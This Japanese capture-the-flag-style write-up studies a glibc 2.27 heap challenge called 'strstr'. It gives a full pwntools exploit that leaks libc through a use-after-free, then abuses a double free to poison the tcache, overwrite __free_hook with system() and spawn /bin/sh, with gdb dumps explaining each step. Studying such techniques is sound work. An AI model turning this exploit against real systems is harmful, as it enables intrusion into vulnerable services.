Double freeとUAF (Use After Free)

解題 pwnable』第7章にあるstrstrというヒープ問を題材に、double freeとUAFによる攻撃を勉強する。

(ターゲットはglibc2.27)

strstrの問題

(strstr.cとバイナリstrstr、そしてlibc-2.27.soが配布される)

プログラムの概要

indexを指定して、文字を書き込みそれを保持させる。indexを指定して保持した文字列データを表示したり削除したりできる。

<><><> String Storage <><><>
  0: store
  1: show
  2: delete
  3: exit
command: 0
index: 0
string: zero
command: 0
index: 1
string: hereisone
command: 1
index: 0
zero
command: 2
index: 1
command: 3

ソースコード

文字を書き込む部分と、保持した文字を削除する部分でmalloc/freeが使われてる:

...
for (;;) {
    printf("command: ");
    scanf("%d", &command);

    switch (command) {
    case 0:
        index = read_index();
        printf("string: ");
        scanf("%255s", buf);
        storage[index] = (char *)malloc(strlen(buf));
        strcpy(storage[index], buf);
        break;
    case 1:
        index = read_index();
        puts(storage[index]);
        break;
    case 2:
        index = read_index();
        free(storage[index]);
        break;
...

ヒープに関する脆弱性

double freeの脆弱性がある:

┌──(shoebill㉿shoebill)-[~/pwn/temp]
└─$ ./strstr_patched 
<><><> String Storage <><><>
  0: store
  1: show
  2: delete
  3: exit
command: 0
index: 0
string: zero
command: 2
index: 0
command: 2
index: 0
command:

freeで解放した領域が参照できてしまうUAF(Use After Free)の脆弱性もある:

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./strstr    
<><><> String Storage <><><>
  0: store
  1: show
  2: delete
  3: exit
command: 0
index: 0
string: UAF?    
command: 2
index: 0
command: 1
index: 0
n�Kc
command: 

exploit

#!/usr/bin/env python3
import warnings
from pwn import *

warnings.simplefilter('ignore', category = BytesWarning)

bin_file = './strstr'
binf = ELF(bin_file, checksec = False)
context.binary = binf

conn = remote('localhost', 10006)

def store(index, string):
    conn.sendlineafter('command: ', '0')
    conn.sendlineafter('index: ', (str(index)))
    conn.sendlineafter('string: ', string)

def show(index):
    conn.sendlineafter('command: ', '1')
    conn.sendlineafter('index: ', str(index))
    return conn.recvline()[:-1]

def delete(index):
    conn.sendlineafter('command: ', '2')
    conn.sendlineafter('index: ', str(index))

def attack(conn):
    # fill tcache
    for i in range(8):
        store(i, 'a' * 0x80)
    store(8, 'a' * 0x80)
    for i in range(8):
        delete(i)

    unsort = int.from_bytes(show(7), 'little')  # UAF
    libc_base = unsort - (0x3ebc40 + 0x60)
    log.info('libc base: {}'.format(hex(libc_base)))

    libc = ELF('./libc-2.27.so', checksec = False)
    libc.address = libc_base

    # write system()'s address to __free_hook
    store(0, 'a')
    delete(0)
    delete(0)  # double free
    log.info('__free_hook: {}'.format(hex(libc.symbols.__free_hook)))
    store(0, p64(libc.symbols.__free_hook))
    store(0, 'a')
    log.info('system: {}'.format(hex(libc.symbols.system)))
    store(0, p64(libc.symbols.system))
    store(0, '/bin/sh')
    delete(0)

def main():
    attack(conn)
    conn.interactive()

if __name__ == '__main__':
    main()

解放したチャンクはまずtcacheに格納される(各サイズに対してtcacheに繋げられるチャンクは7個)。

unsortedにチャンクを格納したいので、まず同じサイズのチャンクを7回freeしてtcacheを埋める。

UAFでunsortedのfdを読む

UAFを利用してunsorted binに入ったチャンク(一つだけ)のfd、つまりmain_arena.topが得られていることが以下のように確かめられる。

次のようにgdbをアタッチする:

def attack(conn, **kwargs):
    for i in range(8):
        store(i, 'a' * 0x80)
    store(8, 'b' * 0x80)
    for i in range(8):
        delete(i)

    unsort = int.from_bytes(show(7), 'little')  # UAF
    log.info('unsort:{}'.format(hex(unsort)))

    gdb.attach(conn)
def main():
    ...

実行して(unsortの値に注目)

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ ./test.py     
[+] Starting local process './strstr': pid 12354
[*] unsort: 0x7f7b3fdf2cc0
[*] running in new terminal: ['/usr/bin/gdb', '-q', './strstr', '12354']
[+] Waiting for debugger: Done
[*] Switching to interactive mode

この時のヒープの状況をみると

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x55fb943f17a0 (size : 0x20860) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x55fb943f1680 (size : 0x90)
(0x90)   tcache_entry[7](7): 0x55fb943f1600 --> 0x55fb943f1570 --> 0x55fb943f14e0 --> 0x55fb943f1450 --> 0x55fb943f13c0 --> 0x55fb943f1330 --> 0x55fb943f12a0

gdb-peda$ x/8gx 0x7f7b3fdf2cc0
0x7f7b3fdf2cc0 <main_arena+96>:   0x000055fb943f17a0  0x0000000000000000
0x7f7b3fdf2cd0 <main_arena+112>:  0x000055fb943f1680  0x000055fb943f1680
0x7f7b3fdf2ce0 <main_arena+128>:  0x00007f7b3fdf2cd0  0x00007f7b3fdf2cd0
0x7f7b3fdf2cf0 <main_arena+144>:  0x00007f7b3fdf2ce0  0x00007f7b3fdf2ce0

(112=0x70, 0x60=96)

これより、unsortmain_arena + 0x60ということがわかり、heapinfoの出力にあるtopのアドレス(0x55fb943f17a0)を格納している。

なぜこのようにUAFでunsortedのfdが読みだせるのか?

※ index(0始まり)とチャンクの個数がずれていて非常に紛らわしい。range(8)は0~7の8個だ!

あるチャンクのfree時

  • そのチャンクサイズに対応するtcacheが満帆(7個)でtcacheに繋げられない
  • fastbinsの範囲外
  • mmapで確保されたチャンクではない

の時、隣接する前後の解放済みチャンク(topも含む)と統合される。

さらにその時、topと結合されなかったらその解放したチャンクはunsortedに格納される。

これを踏まえてexploitをみる。

def attack(conn, **kwargs):
    for i in range(8):
        store(i, 'a' * 0x80)
    store(8, 'a' * 0x80)
    for i in range(8):
        delete(i)
...

8回同じサイズをmallocした後に、8回そのサイズをfreeすると、最後の一回分のチャンク(index 7で確保したやつ)は上の3つの条件を満たすから、 普通なら隣接する解放済みチャンクと統合される(topに統合されることもある)。

以下で示すが、index 7で確保したチャンクはtopに隣接しており、普通ならtopに統合される。

そこで、store(8, 'a' * 0x08)と隣接するチャンクを確保してtopに統合されないようにする(これを書かずに実行するとunsortbin: 0x0 (size : 0x0)となることがgdbをアタッチしてみるとわかる)。

そうすることで、index 7(8個目)のチャンクはtopに統合されずにunsortedに格納される。

よって、index 7のチャンクにUAFでアクセスすると、(この時unsortedに格納されてるチャンクはindex 7で確保したチャンク 1つだけだから、そのfdはmain_arena.topである)main_arena.topのアドレスを得る。

index 7のチャンクがtopと隣接してることの確認

attack関数を以下のように編集して実行。

def attack(conn, **kwargs):
    dic = {0: 'a', 1: 'b', 2: 'c', 3: 'd', 4: 'e', 5: 'f', 6: 'g', 7: 'h'}

    for i in range(8):
        store(i, dic[i] * 0x80)

    gdb.attach(conn)

main_arena.topのアドレスと128(0x80)文字の"h"が格納されてる場所のアドレスに注目:

gdb-peda$ heapinfo
...
                  top: 0x5631442bc6d0 (size : 0x20930) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
gdb-peda$ find h heap
Searching for 'h' in: heap ranges
Found 128 results, display max 128 items:
[heap] : 0x5631442bc650 ('h' <repeats 128 times>)
[heap] : 0x5631442bc651 ('h' <repeats 127 times>)
...

main_arena.topと128文字の"h"が始まる場所のアドレスの差は

gdb-peda$ p 0x5631442bc6d0-0x5631442bc650
$1 = 0x80

ちょうど入力サイズ分だとわかる。つまりindex 7のチャンクはtopと隣接してる。


index 7のチャンクがunsortedに格納されてることも確認すると

def attack(conn, **kwargs):
    dic = {0: 'a', 1: 'b', 2: 'c', 3: 'd', 4: 'e', 5: 'f', 6: 'g', 7: 'h'}

    for i in range(8):
        store(i, dic[i] * 0x80)

    store(8, 'A' * 0x80)

    for i in range(8):
        delete(i)

    gdb.attach(conn)

として実行

gdb-peda$ heapinfo
...
                  top: 0x556d63efb760 (size : 0x208a0) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x556d63efb640 (size : 0x90)
(0x90)   tcache_entry[7](7): 0x556d63efb5c0 --> 0x556d63efb530 --> 0x556d63efb4a0 --> 0x556d63efb410 --> 0x556d63efb380 --> 0x556d63efb2f0 --> 0x556d63efb260
gdb-peda$ x 0x556d63efb640
0x556d63efb640: 0x0000000000000000
gdb-peda$ x/10 0x556d63efb640
0x556d63efb640: 0x0000000000000000  0x0000000000000091
0x556d63efb650: 0x00007fca79febca0  0x00007fca79febca0
0x556d63efb660: 0x6868686868686868  0x6868686868686868
0x556d63efb670: 0x6868686868686868  0x6868686868686868
0x556d63efb680: 0x6868686868686868  0x6868686868686868

("h"の16進数表記は68)

libc-2.27.soを逆アセンブルしてmain_arenaのアドレスを求める

glibc-2.27のmalloc.cにて、次の__libc_malloc関数(mallocはこれのaliasである)に着目する。

void * __libc_malloc (size_t bytes)
{
...
  if (SINGLE_THREAD_P)
    {
      victim = _int_malloc (&main_arena, bytes);
      assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
              &main_arena == arena_for_chunk (mem2chunk (victim)));
      return victim;
    }

この部分に対応するディスアセンブルコードを解析してmain_arenaのアドレスを求める。

gdb -q ./libc-2.27.so
gdb-peada$ disas __libc_malloc

しかしうまく読み取れなかった(自分のアセンブリ読解力がない)。

代わりに”main_arenaのアドレスはmalloc_hook+0x10”であることを考慮してmain_arenaのアドレスを求める。

┌──(shoebill㉿shoebill)-[~/pwn]
└─$ objdump -d libc-2.27.so | grep malloc_hook | grep 0x10
   90827:   48 8d 05 12 b4 35 00    lea    0x35b412(%rip),%rax        # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10>
   90e00:   48 8d 05 39 ae 35 00    lea    0x35ae39(%rip),%rax        # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10>
   91020:   48 8d 3d 19 ac 35 00    lea    0x35ac19(%rip),%rdi        # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10>
   91119:   4c 8d 35 20 ab 35 00    lea    0x35ab20(%rip),%r14        # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10>
   91257:   48 8d 1d e2 a9 35 00    lea    0x35a9e2(%rip),%rbx        # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10>
   9141e:   48 8d 05 1b a8 35 00    lea    0x35a81b(%rip),%rax        # 3ebc40 <__malloc_hook@@GLIBC_2.2.5+0x10>
...

これよりmain_arenaのアドレスは0x3ebc40とわかる。

また、libcのベースアドレスを求める式はunsort - (0x3ebc40 + 0x60)となることもわかる。

__free_hooksystemのアドレスを求めるにはlibcのベースアドレスが必要)

[このプログラムの肝]

double freeの部分について詳しくみる前に注意すべき重要な点がある。

このプログラムでは、mallocでメモリを確保した直後に確保した領域に文字列を書き込める。実は、この書き込む領域はnextと重なっている

そこで、たとえばstore()であるアドレスAを書き込めば、すでに繋がっているPnextを書き換えたことになり、

tcache -> P -> A -> ???

となる。

double freeの部分について

def attack(conn):
    ...
    store(0, 'a')
    delete(0)
    delete(0)  # double free
    log.info('__free_hook: {}'.format(hex(libc.symbols.__free_hook)))
    store(0, p64(libc.symbols.__free_hook))
    store(0, 'a')
    log.info('system: {}'.format(hex(libc.symbols.system)))
    store(0, p64(libc.symbols.system))
    store(0, '/bin/sh')
    delete(0)

__free_hooksystem関数のアドレスを書き込む。

その後、index 0に文字列"/bin/sh"を確保する(malloc)。

なぜならば、次にindex 0をdeleteで解放(freeつまりfree_hook)してやれば、free_hookに文字列"/bin/sh"のアドレスが渡されるから。この時、free_hooksystemであるから、 結局system("/bin/sh")が実行されてシェルがとれる。

以下では、二重解放する前のstore(0, 'a')から一行ずつ、その都度ヒープの状況を確認しながら実行して細かくみていく。

まず次のように書いて実行:

def attack(conn, **kwargs):
    for i in range(8):
        store(i, 'a' * 0x80)
    store(8, 'a' * 0x80)
    for i in range(8):
        delete(i)

    unsort = int.from_bytes(show(7), 'little')  # UAF
    libc_base = unsort - (0x3ebc40 + 0x60)
    log.info('libc base: {}'.format(hex(libc_base)))

    libc = ELF('./libc-2.27.so', checksec = False)
    libc.address = libc_base

    store(0, 'a')
    delete(0)    
    delete(0)
    gdb.attach(conn)

def main():
    ...

store(0, 'a')で確保した後にそれをdouble freeしていることが確認できる:

gdb-peda$ heapinfo
...
(0x20)   tcache_entry[0](2): 0x5640563cf650 --> 0x5640563cf650 (overlap chunk with 0x5640563cf640(freed) )

store(0, p64(libc.symbols.__free_hook))をした後:

(0x20)   tcache_entry[0](1): 0x55e3baee5650 --> 0x7f8e917ed8e8

0x7f8e917ed8e8は__free_hookのアドレス(libc.symbols.__free_hookの返り値)。

これは上に述べたこのプログラムの肝によるもの。

store(0, 'a')をした後:

(0x20)   tcache_entry[0](0): 0x7f92ce1ed8e8

単純にtcacheから確保しただけ。

store(0, p64(libc.symbols.system))をした後:

┌──(shoebill㉿shoebill)-[~/pwn/temp]
└─$ ./test.py     
[+] Starting local process './strstr_patched': pid 16886
[*] libc base: 0x7f673e600000
[*] __free_hook: 0x7f673e9ed8e8
[*] system: 0x7f673e64f440

gdbでヒープをみると

(0x20)   tcache_entry[0](255): 0

system()関数のアドレスが__free_hookに書かれたということ。

次のように確かめられる:

gdb-peda$ x 0x7f673e9ed8e8
0x7f673e9ed8e8 <__free_hook>: 0x00007f673e64f440  0x0000000000000000

(サイズ0x20に対するtcacheにはもう繋がってないので、この後のstore(0, '/bin/sh')delete(0)を実行しても(0x20) tcache_entry[0](255): 0のまま)


以上でstrstrの問題の説明は終わり。

tcacheとDouble freeについて

glibc2.28以前のtcacheにはdouble freeのチェックがされない。

Double freeを利用して、任意のアドレスに任意の値を書き込むことができる!


(サイズが0x410バイト以下で、そのサイズに対応するtcacheに空きがある場合)

アドレスがPであるチャンクをfreeで解放すると、

tcache -> P -> NULL

のようにtcacheに繋がれる。

再び同サイズのチャンク(アドレスはQ)を解放すると

tcache -> Q -> P -> NULL

と繋がれる。

次に、このサイズのチャンクを確保すると、アドレスQのチャンクが確保されてtcacheの様子は

tcache -> P -> NULL

となる。

ここで、二回目に解放するチャンクを、アドレスQのチャンクではなく再びアドレスPのチャンクにしたらどうなるか(つまりアドレスPのチャンクをdouble free)?

tcache -> P -> P -> ...

とアドレスPのチャンクが連なる。